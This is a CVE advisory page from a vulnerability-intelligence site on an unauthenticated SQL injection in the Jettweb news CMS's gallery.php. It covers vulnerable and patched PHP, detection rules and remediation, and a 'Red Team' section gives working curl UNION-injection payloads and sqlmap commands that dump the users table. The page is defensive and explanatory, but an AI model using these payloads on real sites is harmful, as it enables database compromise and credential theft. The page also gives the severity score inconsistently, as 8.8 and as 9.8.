☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2019-25516

CVE-2019-25516 SQL Injection in Jettweb
📅 PUBLISHED: 2026-03-12 15:36 UTC 🔄 UPDATED: 2026-09-23 20:12 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.44%
👁️
0.44% probability
11.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2019-25516 is a critical unauthenticated SQL injection vulnerability in the Jettweb PHP Hazir Haber Sitesi Scripti V1, a content management system for news websites. The flaw resides in the gallery_id parameter of gallery.php, allowing remote attackers to inject arbitrary SQL commands via UNION-based queries. Successful exploitation leads to full database compromise, including extraction of user credentials, session tokens, and other sensitive data. No official patch has been released, and the vendor appears unresponsive. This vulnerability is actively targeted by automated scanners and poses a severe risk to any instance running this software.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a standalone PHP application. The risk is amplified by the lack of a patched version, meaning all deployments are permanently vulnerable unless manually hardened.

CVSS Breakdown & Threat Level

  • CVSS Score: 9.8 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and can be executed by any unskilled attacker using simple HTTP GET requests.

Deep Dive & Mechanics

The vulnerability exists in the gallery.php script, which processes the gallery_id GET parameter without proper sanitization or parameterized queries. The application directly concatenates user input into an SQL query, enabling classic UNION-based SQL injection.

Vulnerable Code Path:

// gallery.php (simplified vulnerable snippet)
$id = $_GET['gallery_id'];
$query = "SELECT * FROM gallery WHERE id = $id";
$result = mysqli_query($conn, $query);

Exploitation Mechanics:

  1. An attacker sends a GET request to gallery.php?gallery_id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -
  2. The injected UNION clause appends a second SELECT statement, returning attacker-controlled data.
  3. By iterating column counts and data types, the attacker can extract any data from the database, including admin credentials from the users table.

Database Schema (inferred):

  • gallery table: id, title, image, description, date
  • users table: id, username, password, email, role

Vulnerable vs. Patched Code

Vulnerable Code (gallery.php):

<?php
$id = $_GET['gallery_id'];
$query = "SELECT * FROM gallery WHERE id = $id";
$result = mysqli_query($conn, $query);
while($row = mysqli_fetch_assoc($result)) {
    echo $row['title'] . "<br>";
}
?>

Patched Code (recommended fix):

<?php
$id = intval($_GET['gallery_id']);
$stmt = $conn->prepare("SELECT * FROM gallery WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();
while($row = $result->fetch_assoc()) {
    echo htmlspecialchars($row['title']) . "<br>";
}
?>

Key Differences:

  • Input is cast to integer using intval() to prevent non-numeric injection.
  • Prepared statements with parameterized queries eliminate SQL injection entirely.
  • Output is HTML-encoded to prevent XSS.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

  • Target: Jettweb PHP Hazir Haber Sitesi Scripti V1 running on Apache/Nginx with PHP 5.x/7.x and MySQL.
  • Attacker: Kali Linux with sqlmap and curl.

Exploitation Steps:

  1. Identify the vulnerable parameter:

    curl -v "http://target.com/gallery.php?gallery_id=1"
    
  2. Confirm SQL injection with a boolean-based test:

    curl "http://target.com/gallery.php?gallery_id=1 AND 1=1"  # Normal response
    curl "http://target.com/gallery.php?gallery_id=1 AND 1=2"  # Different response
    
  3. Extract database version using UNION injection:

    curl "http://target.com/gallery.php?gallery_id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -"
    
  4. Automated exploitation with sqlmap:

    sqlmap -u "http://target.com/gallery.php?gallery_id=1" --batch --dbs
    sqlmap -u "http://target.com/gallery.php?gallery_id=1" -D jettweb --tables
    sqlmap -u "http://target.com/gallery.php?gallery_id=1" -D jettweb -T users --dump
    

Exploit-DB Code: None available.

Blue Team (Defensive)

Detection & Response:

  • Monitor web server logs for abnormal gallery_id values containing SQL keywords (UNION, SELECT, --, AND, OR).
  • Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
  • Implement input validation and prepared statements as shown in the patched code.

Honeypot Strategy:

  • Create a fake gallery.php endpoint that logs all requests and alerts on suspicious patterns.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP GET requests to /gallery.php with gallery_id containing SQL syntax (e.g., UNION, SELECT, --, 1=1).
  • Repeated requests with incremental gallery_id values (e.g., 1, 2, 3) for column enumeration.

File System IOCs:

  • Unexpected files in the web root (e.g., shell.php, cmd.php) indicating post-exploitation.
  • Modified gallery.php or other PHP files with backdoor code.

Log IOCs:

  • Web server access logs showing gallery_id values with URL-encoded SQL characters (%27 for single quote, %2D%2D for --).
  • Database query logs showing UNION-based SELECT statements.

Detection Engineering

YARA Rule

rule CVE_2019_25516_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2019-25516 in Jettweb gallery.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25516"
    strings:
        $sqli1 = "gallery_id=" nocase
        $sqli2 = "UNION" nocase
        $sqli3 = "SELECT" nocase
        $sqli4 = "1=1" nocase
        $sqli5 = "--" nocase
    condition:
        all of ($sqli1, $sqli2, $sqli3) or
        all of ($sqli1, $sqli4) or
        all of ($sqli1, $sqli5)
}

Sigma Rule

title: CVE-2019-25516 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against Jettweb gallery.php via gallery_id parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - "gallery_id="
        cs-uri-query|contains|all:
            - "UNION"
            - "SELECT"
        cs-uri-query|contains:
            - "1=1"
            - "1=2"
            - "--"
    condition: selection
falsepositives:
    - Legitimate use of the word "union" in a gallery title (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2019-25516 SQL Injection Attempt"; flow:to_server,established; content:"gallery.php"; http_uri; content:"gallery_id="; http_uri; pcre:"/(UNION|SELECT|1=1|--)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the application: If possible, take the vulnerable instance offline or behind a VPN.
  2. Apply virtual patching: Use a WAF (e.g., ModSecurity) with rules to block SQL injection patterns targeting gallery.php.
  3. Manual code fix: Replace the vulnerable gallery.php with the patched version provided in this report.

Long-Term Recommendations:

  • Rewrite the application: Since the vendor is unresponsive, consider migrating to a maintained CMS.
  • Input validation: Implement strict type casting and whitelist validation for all user-supplied parameters.
  • Prepared statements: Use parameterized queries (PDO or MySQLi prepared statements) for all database interactions.
  • Regular security audits: Conduct code reviews and penetration testing for any custom PHP applications.

Patch Status: No official patch exists. The application is permanently vulnerable unless manually hardened.


Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2019-25516/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.